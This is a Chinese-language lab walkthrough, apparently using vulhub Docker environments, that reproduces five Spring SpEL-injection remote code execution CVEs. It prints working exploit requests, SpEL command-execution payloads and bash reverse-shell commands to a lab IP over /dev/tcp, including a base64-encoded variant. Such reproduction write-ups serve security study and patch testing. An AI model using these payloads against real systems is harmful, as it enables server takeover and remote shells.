一、 CVE-2016-4977_ Spring Security OAuth2 远程命令执行漏洞
漏洞详情
Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。
参考链接:
- http://secalert.net/#CVE-2016-4977
- https://deadpool.sh/2017/RCE-Springs/
- http://blog.knownsec.com/2016/10/spring-security-oauth-rce/
运行环境
靶场:192.168.4.10_ubuntu
执行如下命令启动漏洞环境:
#docker-compose up -d
启动完成后,访问`http://your-ip:8080/`即可看到web页面。
漏洞复现
访问`http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test`。首先需要填写用户名和密码,我们这里填入`admin:admin`即可。
可见,我们输入是SpEL表达式`${233*233}`已经成功执行并返回结果:
然后,我们使用[poc.py](poc.py)来生成反弹shell的POC(注意:[Java反弹shell的限制与绕过方式]:
1. bash -i >& /dev/tcp/192.168.4.29/9999 0>&1 base64编码
2. 构成反弹shell
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQuMjkvOTk5OSAwPiYxCg==}|{base64,-d}|{bash,-i}
3. 环境自带poc.py形成攻击字符
如上图,生成了一大串SpEL语句。附带上这个SpEL语句
`http://your-ip:8080/oauth/authorize?response_type=[exploit]&client_id=acme&scope=openid&redirect_uri=http://test`
访问成功弹回shell:
二、 CVE-2017-4971_Spring WebFlow 远程代码执行漏洞
漏洞详情
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
参考链接:
- https://threathunter.org/topic/593d562353ab369c55425a90
- https://pivotal.io/security/cve-2017-4971
测试环境
#docker-compose up -d
等待环境启动后,访问`http://your-ip:8080`,将看到一个酒店预订的页面,这是spring-webflow官方给的简单示例。
漏洞复现
1. 首先访问`http://your-ip:8080/login`,用页面左边给出的任意一个账号/密码登录系统:
2. 然后访问id为1的酒店`http://your-ip:8080/hotels/1`,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):
3. 再点击确认“Confirm”:
此时抓包,抓到一个POST数据包,我们向其中添加一个字段(也就是反弹shell的POC):
```
&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.4.29/9999+0>%261")).start()=vulhub
```
成功执行,获得shell:
三、 CVE-2017-8046_Spring Data Rest 远程命令执行漏洞
漏洞详情
Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现[RFC6902](https://tools.ietf.org/html/rfc6902)),path的值被传入`setValue`,导致执行了SpEL表达式,触发远程命令执行漏洞。
参考链接:
- http://xxlegend.com/2017/09/29/Spring%20Data%20Rest服务器PATCH请求远程代码执行漏洞CVE-2017-8046补充分析/
- https://tech.meituan.com/Spring_Data_REST_远程代码执行漏洞%28CVE-2017-8046%29_分析与复现.html
环境搭建
#docker-compose up -d
等待环境启动完成,然后访问`http://your-ip:8080/`即可看到json格式的返回值,说明这是一个Restful风格的API服务器。
漏洞复现
访问`http://your-ip:8080/customers/1`,看到一个资源。我们使用PATCH请求来修改之:
```
PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
```
path的值是SpEL表达式,发送上述数据包,将执行`new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}`表示的命令`touch /tmp/success`。然后进入容器`docker-compose exec spring bash`看看:
可见,success成功创建。
四、 CVE-2018-1270_ Spring Messaging 远程命令执行漏洞
前言
spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,
漏洞详情
在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用`StandardEvaluationContext`解析,造成命令执行漏洞。
参考链接:
- https://pivotal.io/security/cve-2018-1270
- https://xz.aliyun.com/t/2252
- https://cert.360.cn/warning/detail?id=3efa573a1116c8e6eed3b47f78723f12
- https://github.com/CaledoniaProject/CVE-2018-1270
漏洞环境
#docker-compose up -d
环境启动后,访问`http://your-ip:8080`即可看到一个Web页面。
漏洞复现
网上大部分文章都说spring messaging是基于websocket通信,其实不然。spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。
连接后端服务器的流程,可以理解为:
1. 用[STOMP协议](http://jmesnil.net/stomp-websocket/doc/)将数据组合成一个文本流
2. 用[sockjs协议](https://github.com/sockjs/sockjs-client)发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信
所以我们可以使用http来复现漏洞,称之为“降维打击”。
使用环境自带POC脚本[exploit.py](exploit.py)(需要用python3.6执行),因为该漏洞是订阅的时候插入SpEL表达式,而对方向这个订阅发送消息时才会触发,所以我们需要指定的信息有:
1. 基础地址,在vulhub中为`http://your-ip:8080/gs-guide-websocket`
2. 待执行的SpEL表达式,如`T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')`
3. 某一个订阅的地址,如vulhub中为:`/topic/greetings`
4. 如何触发这个订阅,即如何让后端向这个订阅发送消息。在vulhub中,我们向`/app/hello`发送一个包含name的json,即可触发这个事件。当然在实战中就不同了,所以这个poc并不具有通用性。
根据你自己的需求修改POC。如果是vulhub环境,你只需修改1中的url即可。
执行:
进入容器`docker-compose exec spring bash`,可见`/tmp/success`已成功创建:
五、 CVE-2018-1273_Spring Data Commons 远程命令执行漏洞
漏洞详情
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
参考链接:
- https://pivotal.io/security/cve-2018-1273
- https://xz.aliyun.com/t/2269
-https://mp.weixin.qq.com/s?__biz=MzU0NzYzMzU0Mw==&mid=2247483666&idx=1&sn=91e3b2aab354c55e0677895c02fb068c
环境搭建
#docker-compose up -d
稍等一会,环境启动后,访问`http://your-ip:8080/users`,将可以看到一个用户注册页面。
漏洞复现
参考前面链接中的Payload,在注册的时候抓包,并修改成如下数据包:
```
POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
```
执行`docker-compose exec spring bash`进入容器中,可见成功创建`/tmp/success`,说明命令执行成功: